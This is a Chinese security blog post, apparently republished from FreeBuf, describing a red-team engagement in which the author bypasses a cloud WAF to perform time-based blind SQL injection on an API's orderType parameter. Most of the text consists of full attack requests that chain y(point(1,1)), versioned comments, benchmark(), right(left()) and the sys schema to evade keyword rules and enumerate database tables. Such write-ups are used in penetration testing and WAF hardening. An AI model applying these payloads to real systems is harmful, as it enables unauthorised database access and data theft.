记一次hw中用到的某云waf绕过技巧
作者通过使用Y(point(1,1))函数绕过某云WAF的检测机制进行SQL注入攻击,在多次尝试后成功利用注释符和替代函数(如benchmark、left/right)规避关键字拦截,并最终获取数据库信息。该方法展示了利用不常见函数和注释符组合绕过安全防护的有效性。 2025-8-8 00:30:0 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

几年前的笔记里就存了Y函数的使用(出处找不到了),近期又看到有师傅提到了这个用法,随即又试了试,发现还可以使用,由此引发了一次绕waf的案例

/api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1&page=1&pageSize=10&ts=175082141514&orderBy=1

图片

尝试插入注入语句被某云waf拦截

/api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+(select*from(select(sleep(3)))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

图片

确定了有waf后,开始尝试确定拦截规则:

绕过关键字组合的检测

输入:1 or (select) =>不拦截 输入:1 or (select*) =>拦截 输入:1 or (select 0) =>拦截 输入:1 or (select()) =>拦截

说明拦截了select+xx的组合,但是没拦截select关键字,开始尝试填充注释符(/*!12345\*/)、垃圾字符等都不行.

图片

尝试前面说的y(point(1,1))函数,可以绕过

图片

并且不报错,正常出数据了,说明注入点确定是存在的,继续开始注入

绕过sleep(3)

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep(1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

发现1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep())x)=>没拦截 发现1+or+y(point(1,1))+or+(select/*!12345*/0/**/from(select/**/sleep(1))x)=>拦截

替换成benchmark尝试

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/benchmark(51111111,1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

成功延时

图片

加入if判断,未拦截

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(1=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

图片

加入ascii()未拦截

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(2)=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

加入substr()拦截

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(substr(1,1,1))=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

图片

绕过substr()

使用关键字替换,right(left(1,1),1)可以绕过

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(1,1),1))=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

图片

添加user()、database()尝试查数据,被拦截

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user(),1),1))=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

图片

绕过user()/database()/version()

经测试: 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(database(),1),1))!=1,benchmark(51111111,1),1))x)=>拦截 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(user(),1),1))!=1,benchmark(51111111,1),1))x)=>拦截 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(version,1),1))!=1,benchmark(51111111,1),1))x)=>不拦截 1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left(version,1),1))!=1,benchmark(51111111,1),1))x)=>拦截

可以确定没拦截关键字,拦截的是关键字+()组合

这里有两种思路

  1. 使用``绕过这种方式可以绕过,使用version()的方式分割,可以绕过。但是这里只能用version()语句才会正常执行,user()和database()无法正常执行。比较鸡肋,如果是挖src证明能出数据的话,可以用version()来证明,这里打攻防的话,就不太适用了。 2.使用/*!12345*/绕过

这里先测试的/**/,发现被拦截

图片

尝试/*!12345*/可以绕过

图片

到这里的话,基本就可以拿到database()的数据了

然后开始查表名

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(information_schema.tables)),1),1))!=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

被拦截

图片

绕过information_schema.x

经过测试: information_schema=>不拦截 information_schema.x=>拦截

也就是说拦截了information_schema+.的组合。可以尝试换个库去读,这里换的是sys.schema_auto_increment_columns成功绕过拦截读出数据

GET /api/customerPolicy/selectPolicy?tag=&input=&policyCategory=&voidDate=&certificateUnit=&status=&nature1=&nature2=&areas=1&city=&title=&publishType=&belongAreas=&orderType=1+or+y(point(1,1))+or+(select/**/0/**/from(select/**/if(ascii(right(left((select/*!5555555*/group_concat(table_name)/*!12345*/from/*!12345*/(sys.schema_auto_increment_columns/*!12345*/)),1),1))!=1,benchmark(51111111,1),1))x)&page=1&pageSize=10&ts=175082141514&orderBy=1

图片

成功绕过所有关键字查询数据,查列名的话也没啥新增的关键字用以上的方式同样可以绕过,不在赘述了。

y(point(1,1))是一种不常见的函数,拼接起来会起到意想不到的效果,正如前面所说的注入,如果没有y(point(1,1))配合的话,就绕不过去


文章来源: https://www.freebuf.com/articles/web/443586.html
如有侵权请联系:admin#unsafe.sh